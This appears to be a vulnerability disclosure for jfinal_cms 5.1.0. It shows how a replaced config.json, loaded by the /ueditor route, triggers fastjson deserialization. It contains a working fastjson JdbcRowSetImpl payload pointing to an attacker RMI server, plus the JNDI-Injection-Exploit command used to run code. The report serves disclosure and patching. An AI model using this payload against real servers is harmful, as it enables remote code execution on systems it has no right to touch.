jfinal_cms version:5.1.0
JDK version : jdk-8u351
The ActionEnter class is instantiated in the index method of the /ueditor route
![image](https://user-images.githubusercontent.com/52622597/218020013-817ef70b-822c-4926-8145-87a6d0615e63.png)
The ConfigManager class is instantiated in the constructor of the ActionEnter class
![image](https://user-images.githubusercontent.com/52622597/218020892-8a89f4f8-61ec-4484-9896-1a6dce6369c5.png)
The construction method of ConfigManager calls initEnv()
![image](https://user-images.githubusercontent.com/52622597/218021014-2ead9fa5-183d-4f09-8f98-732118f458c4.png)
Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.
![image](https://user-images.githubusercontent.com/52622597/218021363-af4d55da-9618-4415-8257-93edc0c42d59.png)
The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization
![image](https://user-images.githubusercontent.com/52622597/218021459-102737eb-7e93-4c47-8d5f-8fa37d001016.png)
Run the tool on kali
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
```
![image](https://user-images.githubusercontent.com/52622597/218023528-a9394bd8-c547-4d62-950d-6f62a5f8416b.png)
payload:
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
"autoCommit":true
}
}
```
![image](https://user-images.githubusercontent.com/52622597/218023884-c82ccd57-295a-4976-bbf6-ba9ead2ed9f2.png)
Replace with payload
Visit /ueditor, execute the command to pop up the calculator
![136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d](https://user-images.githubusercontent.com/52622597/218023269-ee300f45-d565-4416-9a0b-fc9250bc7622.gif)
暂无评论